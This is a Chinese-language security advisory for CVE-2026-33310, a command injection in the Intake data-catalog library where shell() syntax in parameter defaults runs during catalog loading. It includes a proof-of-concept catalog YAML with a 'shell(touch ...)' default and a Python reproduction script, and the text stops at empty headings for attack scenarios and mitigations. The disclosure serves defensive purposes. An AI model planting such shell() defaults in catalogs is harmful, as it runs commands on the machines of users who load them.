CVE-2026-33310(参数默认值中通过 shell() 展开导致的命令注入)
参数默认值中的 shell() 语法似乎在目录解析过程中会被自动展开。 如果目录包含诸如 shell() 的参数默认值,则在访问目录源时可能会执行该命令。 这意味着,如果用户加载了恶意的目录 YAML,嵌入的命令可能会在主机系统上执行。 此行为可能被归类为 CWE-78:操作系统命令注入 / 不安全的 Shell 展开。
该问题似乎源于访问目录源时参数默认值的展开方式。
在目录加载和源访问期间:
Intake 解析参数默认值 负责展开默认值的函数会处理 shell() 语法 shell 表达式会触发子进程执行 由于这发生在目录评估期间,命令可能会在用户显式与数据集交互之前执行。
受影响的逻辑似乎涉及:
expand_defaults()
以及相关的参数解析机制。
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
可能的攻击场景如下:
如果确认此行为并非预期设计,攻击者可以通过以下方式分发恶意目录文件:
可能的缓解措施包括: